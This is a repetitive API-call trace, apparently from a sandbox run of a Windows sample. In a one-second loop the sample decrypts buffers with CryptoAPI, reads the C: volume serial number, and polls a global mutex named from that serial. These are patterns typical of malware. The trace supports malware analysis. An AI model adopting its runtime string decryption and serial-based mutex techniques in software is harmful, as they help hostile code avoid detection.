	[0235.296] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd28db0 | out: hHeap=0xd20000) returned 1
	[0235.296] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xcaf75c, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xcaf75c*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1
	[0235.297] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd28dd8 | out: hHeap=0xd20000) returned 1
	[0235.297] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x40) returned 0xd28db0
	[0235.297] CryptImportKey (in: hProv=0x616790, pbData=0xcaf6e8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xcaf750 | out: phKey=0xcaf750*=0x645d78) returned 1
	[0235.297] CryptSetKeyParam (hKey=0x645d78, dwParam=0x1, pbData=0xcaf738, dwFlags=0x0) returned 1
	[0235.297] CryptDecrypt (in: hKey=0x645d78, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xd28db0, pdwDataLen=0xcaf704 | out: pbData=0xd28db0, pdwDataLen=0xcaf704) returned 1
	[0235.297] CryptDestroyKey (hKey=0x645d78) returned 1
	[0235.297] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x8, Size=0x34) returned 0xd28678
	[0235.297] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\0001B419773001") returned 0x4d4
	[0235.297] WaitForSingleObject (hHandle=0x4d4, dwMilliseconds=0x0) returned 0x102
	[0235.297] CloseHandle (hObject=0x4d4) returned 1
	[0235.297] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd28db0 | out: hHeap=0xd20000) returned 1
	[0235.297] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd28678 | out: hHeap=0xd20000) returned 1
	[0235.297] Sleep (dwMilliseconds=0x3e8) 
	[0236.330] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x20) returned 0xd28db0
	[0236.331] CryptImportKey (in: hProv=0x616790, pbData=0xcaf6b4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xcaf71c | out: phKey=0xcaf71c*=0x645978) returned 1
	[0236.331] CryptSetKeyParam (hKey=0x645978, dwParam=0x1, pbData=0xcaf704, dwFlags=0x0) returned 1
	[0236.331] CryptDecrypt (in: hKey=0x645978, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xd28db0, pdwDataLen=0xcaf6d0 | out: pbData=0xd28db0, pdwDataLen=0xcaf6d0) returned 1
	[0236.331] CryptDestroyKey (hKey=0x645978) returned 1
	[0236.331] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x8, Size=0x1e) returned 0xd28dd8
	[0236.331] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x1e) returned 0xd28678
	[0236.331] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x90) returned 0xd21470
	[0236.331] CryptImportKey (in: hProv=0x616790, pbData=0xcaf68c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xcaf6f4 | out: phKey=0xcaf6f4*=0x645e78) returned 1
	[0236.331] CryptSetKeyParam (hKey=0x645e78, dwParam=0x1, pbData=0xcaf6dc, dwFlags=0x0) returned 1
	[0236.331] CryptDecrypt (in: hKey=0x645e78, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xd21470, pdwDataLen=0xcaf6a8 | out: pbData=0xd21470, pdwDataLen=0xcaf6a8) returned 1
	[0236.331] CryptDestroyKey (hKey=0x645e78) returned 1
	[0236.331] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd21470 | out: hHeap=0xd20000) returned 1
	[0236.331] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xd28dd8, nSize=0xf | out: lpDst="C:\\") returned 0x4
	[0236.331] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd28678 | out: hHeap=0xd20000) returned 1
	[0236.331] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd28db0 | out: hHeap=0xd20000) returned 1
	[0236.331] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xcaf75c, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xcaf75c*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1
	[0236.331] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd28dd8 | out: hHeap=0xd20000) returned 1
	[0236.331] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x40) returned 0xd28db0
	[0236.331] CryptImportKey (in: hProv=0x616790, pbData=0xcaf6e8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xcaf750 | out: phKey=0xcaf750*=0x645d38) returned 1
	[0236.332] CryptSetKeyParam (hKey=0x645d38, dwParam=0x1, pbData=0xcaf738, dwFlags=0x0) returned 1
	[0236.332] CryptDecrypt (in: hKey=0x645d38, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xd28db0, pdwDataLen=0xcaf704 | out: pbData=0xd28db0, pdwDataLen=0xcaf704) returned 1
	[0236.332] CryptDestroyKey (hKey=0x645d38) returned 1
	[0236.332] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x8, Size=0x34) returned 0xd28678
	[0236.332] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\0001B419773001") returned 0x4d4
	[0236.332] WaitForSingleObject (hHandle=0x4d4, dwMilliseconds=0x0) returned 0x102
	[0236.332] CloseHandle (hObject=0x4d4) returned 1
	[0236.332] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd28db0 | out: hHeap=0xd20000) returned 1
	[0236.332] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd28678 | out: hHeap=0xd20000) returned 1
	[0236.332] Sleep (dwMilliseconds=0x3e8) 
	[0237.370] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x20) returned 0xd28db0
	[0237.370] CryptImportKey (in: hProv=0x616790, pbData=0xcaf6b4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xcaf71c | out: phKey=0xcaf71c*=0x645e78) returned 1
	[0237.370] CryptSetKeyParam (hKey=0x645e78, dwParam=0x1, pbData=0xcaf704, dwFlags=0x0) returned 1
	[0237.370] CryptDecrypt (in: hKey=0x645e78, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xd28db0, pdwDataLen=0xcaf6d0 | out: pbData=0xd28db0, pdwDataLen=0xcaf6d0) returned 1
	[0237.370] CryptDestroyKey (hKey=0x645e78) returned 1
	[0237.370] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x8, Size=0x1e) returned 0xd28dd8
	[0237.370] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x1e) returned 0xd28678
	[0237.370] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x90) returned 0xd21470
	[0237.370] CryptImportKey (in: hProv=0x616790, pbData=0xcaf68c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xcaf6f4 | out: phKey=0xcaf6f4*=0x645d38) returned 1
	[0237.371] CryptSetKeyParam (hKey=0x645d38, dwParam=0x1, pbData=0xcaf6dc, dwFlags=0x0) returned 1
	[0237.371] CryptDecrypt (in: hKey=0x645d38, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xd21470, pdwDataLen=0xcaf6a8 | out: pbData=0xd21470, pdwDataLen=0xcaf6a8) returned 1
	[0237.371] CryptDestroyKey (hKey=0x645d38) returned 1
	[0237.371] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd21470 | out: hHeap=0xd20000) returned 1
	[0237.371] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xd28dd8, nSize=0xf | out: lpDst="C:\\") returned 0x4
	[0237.371] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd28678 | out: hHeap=0xd20000) returned 1
	[0237.371] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd28db0 | out: hHeap=0xd20000) returned 1
	[0237.371] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xcaf75c, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xcaf75c*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1
	[0237.371] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd28dd8 | out: hHeap=0xd20000) returned 1
	[0237.371] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x40) returned 0xd28db0
	[0237.371] CryptImportKey (in: hProv=0x616790, pbData=0xcaf6e8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xcaf750 | out: phKey=0xcaf750*=0x645b78) returned 1
	[0237.371] CryptSetKeyParam (hKey=0x645b78, dwParam=0x1, pbData=0xcaf738, dwFlags=0x0) returned 1
	[0237.371] CryptDecrypt (in: hKey=0x645b78, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xd28db0, pdwDataLen=0xcaf704 | out: pbData=0xd28db0, pdwDataLen=0xcaf704) returned 1
	[0237.371] CryptDestroyKey (hKey=0x645b78) returned 1
	[0237.371] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x8, Size=0x34) returned 0xd28678
	[0237.371] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\0001B419773001") returned 0x4d4
	[0237.371] WaitForSingleObject (hHandle=0x4d4, dwMilliseconds=0x0) returned 0x102
	[0237.371] CloseHandle (hObject=0x4d4) returned 1
	[0237.371] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd28db0 | out: hHeap=0xd20000) returned 1
	[0237.371] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd28678 | out: hHeap=0xd20000) returned 1
	[0237.371] Sleep (dwMilliseconds=0x3e8) 
	[0238.398] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x20) returned 0xd28db0
	[0238.398] CryptImportKey (in: hProv=0x616790, pbData=0xcaf6b4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xcaf71c | out: phKey=0xcaf71c*=0x6462f8) returned 1
	[0238.398] CryptSetKeyParam (hKey=0x6462f8, dwParam=0x1, pbData=0xcaf704, dwFlags=0x0) returned 1
	[0238.398] CryptDecrypt (in: hKey=0x6462f8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xd28db0, pdwDataLen=0xcaf6d0 | out: pbData=0xd28db0, pdwDataLen=0xcaf6d0) returned 1
	[0238.398] CryptDestroyKey (hKey=0x6462f8) returned 1
	[0238.398] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x8, Size=0x1e) returned 0xd28dd8
	[0238.398] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x1e) returned 0xd28678
	[0238.398] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x90) returned 0xd21470
	[0238.398] CryptImportKey (in: hProv=0x616790, pbData=0xcaf68c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xcaf6f4 | out: phKey=0xcaf6f4*=0x6464b8) returned 1
	[0238.398] CryptSetKeyParam (hKey=0x6464b8, dwParam=0x1, pbData=0xcaf6dc, dwFlags=0x0) returned 1
	[0238.398] CryptDecrypt (in: hKey=0x6464b8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xd21470, pdwDataLen=0xcaf6a8 | out: pbData=0xd21470, pdwDataLen=0xcaf6a8) returned 1
	[0238.398] CryptDestroyKey (hKey=0x6464b8) returned 1
	[0238.398] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd21470 | out: hHeap=0xd20000) returned 1
	[0238.398] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xd28dd8, nSize=0xf | out: lpDst="C:\\") returned 0x4
	[0238.398] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd28678 | out: hHeap=0xd20000) returned 1
	[0238.398] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd28db0 | out: hHeap=0xd20000) returned 1
	[0238.398] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xcaf75c, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xcaf75c*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1
	[0238.398] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd28dd8 | out: hHeap=0xd20000) returned 1
	[0238.398] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x40) returned 0xd28db0
	[0238.398] CryptImportKey (in: hProv=0x616790, pbData=0xcaf6e8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xcaf750 | out: phKey=0xcaf750*=0x6462f8) returned 1
	[0238.398] CryptSetKeyParam (hKey=0x6462f8, dwParam=0x1, pbData=0xcaf738, dwFlags=0x0) returned 1
	[0238.398] CryptDecrypt (in: hKey=0x6462f8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xd28db0, pdwDataLen=0xcaf704 | out: pbData=0xd28db0, pdwDataLen=0xcaf704) returned 1
	[0238.398] CryptDestroyKey (hKey=0x6462f8) returned 1
	[0238.398] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x8, Size=0x34) returned 0xd28678
	[0238.398] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\0001B419773001") returned 0x27c
	[0238.398] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0x0) returned 0x102
	[0238.399] CloseHandle (hObject=0x27c) returned 1
	[0238.399] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd28db0 | out: hHeap=0xd20000) returned 1
	[0238.399] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd28678 | out: hHeap=0xd20000) returned 1
	[0238.399] Sleep (dwMilliseconds=0x3e8) 
	[0239.499] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x20) returned 0xd28db0
	[0239.499] CryptImportKey (in: hProv=0x616790, pbData=0xcaf6b4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xcaf71c | out: phKey=0xcaf71c*=0x646478) returned 1
	[0239.499] CryptSetKeyParam (hKey=0x646478, dwParam=0x1, pbData=0xcaf704, dwFlags=0x0) returned 1
	[0239.499] CryptDecrypt (in: hKey=0x646478, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xd28db0, pdwDataLen=0xcaf6d0 | out: pbData=0xd28db0, pdwDataLen=0xcaf6d0) returned 1
	[0239.499] CryptDestroyKey (hKey=0x646478) returned 1
	[0239.499] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x8, Size=0x1e) returned 0xd28dd8
	[0239.500] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x1e) returned 0xd28678
	[0239.500] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x90) returned 0xd21470
	[0239.500] CryptImportKey (in: hProv=0x616790, pbData=0xcaf68c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xcaf6f4 | out: phKey=0xcaf6f4*=0x6462f8) returned 1
	[0239.500] CryptSetKeyParam (hKey=0x6462f8, dwParam=0x1, pbData=0xcaf6dc, dwFlags=0x0) returned 1
	[0239.500] CryptDecrypt (in: hKey=0x6462f8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xd21470, pdwDataLen=0xcaf6a8 | out: pbData=0xd21470, pdwDataLen=0xcaf6a8) returned 1
	[0239.500] CryptDestroyKey (hKey=0x6462f8) returned 1
	[0239.500] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd21470 | out: hHeap=0xd20000) returned 1
	[0239.500] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xd28dd8, nSize=0xf | out: lpDst="C:\\") returned 0x4
	[0239.500] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd28678 | out: hHeap=0xd20000) returned 1
	[0239.500] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd28db0 | out: hHeap=0xd20000) returned 1
	[0239.500] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xcaf75c, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xcaf75c*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1
	[0239.500] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd28dd8 | out: hHeap=0xd20000) returned 1
	[0239.500] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x40) returned 0xd28db0
	[0239.500] CryptImportKey (in: hProv=0x616790, pbData=0xcaf6e8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xcaf750 | out: phKey=0xcaf750*=0x6462f8) returned 1
	[0239.500] CryptSetKeyParam (hKey=0x6462f8, dwParam=0x1, pbData=0xcaf738, dwFlags=0x0) returned 1
	[0239.500] CryptDecrypt (in: hKey=0x6462f8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xd28db0, pdwDataLen=0xcaf704 | out: pbData=0xd28db0, pdwDataLen=0xcaf704) returned 1
	[0239.500] CryptDestroyKey (hKey=0x6462f8) returned 1
	[0239.500] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x8, Size=0x34) returned 0xd28678
	[0239.500] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\0001B419773001") returned 0x3fc
	[0239.500] WaitForSingleObject (hHandle=0x3fc, dwMilliseconds=0x0) returned 0x102
	[0239.500] CloseHandle (hObject=0x3fc) returned 1
	[0239.500] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd28db0 | out: hHeap=0xd20000) returned 1
	[0239.500] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd28678 | out: hHeap=0xd20000) returned 1
	[0239.500] Sleep (dwMilliseconds=0x3e8) 
	[0240.516] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x20) returned 0xd28db0
	[0240.516] CryptImportKey (in: hProv=0x616790, pbData=0xcaf6b4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xcaf71c | out: phKey=0xcaf71c*=0x6460b8) returned 1
	[0240.516] CryptSetKeyParam (hKey=0x6460b8, dwParam=0x1, pbData=0xcaf704, dwFlags=0x0) returned 1
	[0240.516] CryptDecrypt (in: hKey=0x6460b8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xd28db0, pdwDataLen=0xcaf6d0 | out: pbData=0xd28db0, pdwDataLen=0xcaf6d0) returned 1
	[0240.516] CryptDestroyKey (hKey=0x6460b8) returned 1
	[0240.516] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x8, Size=0x1e) returned 0xd28dd8
	[0240.516] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x1e) returned 0xd28678
	[0240.516] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x90) returned 0xd21470
	[0240.516] CryptImportKey (in: hProv=0x616790, pbData=0xcaf68c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xcaf6f4 | out: phKey=0xcaf6f4*=0x6460b8) returned 1
	[0240.516] CryptSetKeyParam (hKey=0x6460b8, dwParam=0x1, pbData=0xcaf6dc, dwFlags=0x0) returned 1
	[0240.516] CryptDecrypt (in: hKey=0x6460b8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xd21470, pdwDataLen=0xcaf6a8 | out: pbData=0xd21470, pdwDataLen=0xcaf6a8) returned 1
	[0240.516] CryptDestroyKey (hKey=0x6460b8) returned 1
	[0240.516] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd21470 | out: hHeap=0xd20000) returned 1
	[0240.516] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xd28dd8, nSize=0xf | out: lpDst="C:\\") returned 0x4
	[0240.516] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd28678 | out: hHeap=0xd20000) returned 1
	[0240.516] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd28db0 | out: hHeap=0xd20000) returned 1
	[0240.516] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xcaf75c, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xcaf75c*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1
	[0240.516] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd28dd8 | out: hHeap=0xd20000) returned 1
	[0240.516] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x40) returned 0xd28db0
	[0240.516] CryptImportKey (in: hProv=0x616790, pbData=0xcaf6e8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xcaf750 | out: phKey=0xcaf750*=0x646038) returned 1
	[0240.516] CryptSetKeyParam (hKey=0x646038, dwParam=0x1, pbData=0xcaf738, dwFlags=0x0) returned 1
	[0240.516] CryptDecrypt (in: hKey=0x646038, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xd28db0, pdwDataLen=0xcaf704 | out: pbData=0xd28db0, pdwDataLen=0xcaf704) returned 1
	[0240.516] CryptDestroyKey (hKey=0x646038) returned 1
	[0240.516] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x8, Size=0x34) returned 0xd28678
	[0240.516] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\0001B419773001") returned 0x3fc
	[0240.516] WaitForSingleObject (hHandle=0x3fc, dwMilliseconds=0x0) returned 0x102
	[0240.516] CloseHandle (hObject=0x3fc) returned 1
	[0240.516] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd28db0 | out: hHeap=0xd20000) returned 1
	[0240.516] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd28678 | out: hHeap=0xd20000) returned 1
	[0240.516] Sleep (dwMilliseconds=0x3e8) 
	[0241.560] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x20) returned 0xd28db0
	[0241.560] CryptImportKey (in: hProv=0x616790, pbData=0xcaf6b4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xcaf71c | out: phKey=0xcaf71c*=0x6462f8) returned 1
	[0241.560] CryptSetKeyParam (hKey=0x6462f8, dwParam=0x1, pbData=0xcaf704, dwFlags=0x0) returned 1
	[0241.560] CryptDecrypt (in: hKey=0x6462f8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xd28db0, pdwDataLen=0xcaf6d0 | out: pbData=0xd28db0, pdwDataLen=0xcaf6d0) returned 1
	[0241.560] CryptDestroyKey (hKey=0x6462f8) returned 1
	[0241.560] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x8, Size=0x1e) returned 0xd28dd8
	[0241.560] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x1e) returned 0xd28678
	[0241.560] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x90) returned 0xd21470
	[0241.560] CryptImportKey (in: hProv=0x616790, pbData=0xcaf68c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xcaf6f4 | out: phKey=0xcaf6f4*=0x646178) returned 1
	[0241.560] CryptSetKeyParam (hKey=0x646178, dwParam=0x1, pbData=0xcaf6dc, dwFlags=0x0) returned 1
	[0241.560] CryptDecrypt (in: hKey=0x646178, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xd21470, pdwDataLen=0xcaf6a8 | out: pbData=0xd21470, pdwDataLen=0xcaf6a8) returned 1
	[0241.560] CryptDestroyKey (hKey=0x646178) returned 1
	[0241.560] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd21470 | out: hHeap=0xd20000) returned 1
	[0241.560] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xd28dd8, nSize=0xf | out: lpDst="C:\\") returned 0x4
	[0241.560] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd28678 | out: hHeap=0xd20000) returned 1
	[0241.560] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd28db0 | out: hHeap=0xd20000) returned 1
	[0241.560] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xcaf75c, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xcaf75c*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1
	[0241.560] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd28dd8 | out: hHeap=0xd20000) returned 1
	[0241.560] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x40) returned 0xd28db0
	[0241.560] CryptImportKey (in: hProv=0x616790, pbData=0xcaf6e8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xcaf750 | out: phKey=0xcaf750*=0x6463b8) returned 1
	[0241.560] CryptSetKeyParam (hKey=0x6463b8, dwParam=0x1, pbData=0xcaf738, dwFlags=0x0) returned 1
	[0241.560] CryptDecrypt (in: hKey=0x6463b8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xd28db0, pdwDataLen=0xcaf704 | out: pbData=0xd28db0, pdwDataLen=0xcaf704) returned 1
	[0241.560] CryptDestroyKey (hKey=0x6463b8) returned 1
	[0241.560] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x8, Size=0x34) returned 0xd28678
	[0241.560] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\0001B419773001") returned 0x3fc
	[0241.561] WaitForSingleObject (hHandle=0x3fc, dwMilliseconds=0x0) returned 0x102
	[0241.561] CloseHandle (hObject=0x3fc) returned 1
	[0241.561] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd28db0 | out: hHeap=0xd20000) returned 1
	[0241.561] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd28678 | out: hHeap=0xd20000) returned 1
	[0241.561] Sleep (dwMilliseconds=0x3e8) 
	[0242.564] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x20) returned 0xd28db0
	[0242.564] CryptImportKey (in: hProv=0x616790, pbData=0xcaf6b4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xcaf71c | out: phKey=0xcaf71c*=0x645938) returned 1
	[0242.564] CryptSetKeyParam (hKey=0x645938, dwParam=0x1, pbData=0xcaf704, dwFlags=0x0) returned 1
	[0242.564] CryptDecrypt (in: hKey=0x645938, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xd28db0, pdwDataLen=0xcaf6d0 | out: pbData=0xd28db0, pdwDataLen=0xcaf6d0) returned 1
	[0242.564] CryptDestroyKey (hKey=0x645938) returned 1
	[0242.564] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x8, Size=0x1e) returned 0xd28dd8
	[0242.564] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x1e) returned 0xd28678
	[0242.564] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x90) returned 0xd21470
	[0242.564] CryptImportKey (in: hProv=0x616790, pbData=0xcaf68c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xcaf6f4 | out: phKey=0xcaf6f4*=0x645938) returned 1
	[0242.564] CryptSetKeyParam (hKey=0x645938, dwParam=0x1, pbData=0xcaf6dc, dwFlags=0x0) returned 1
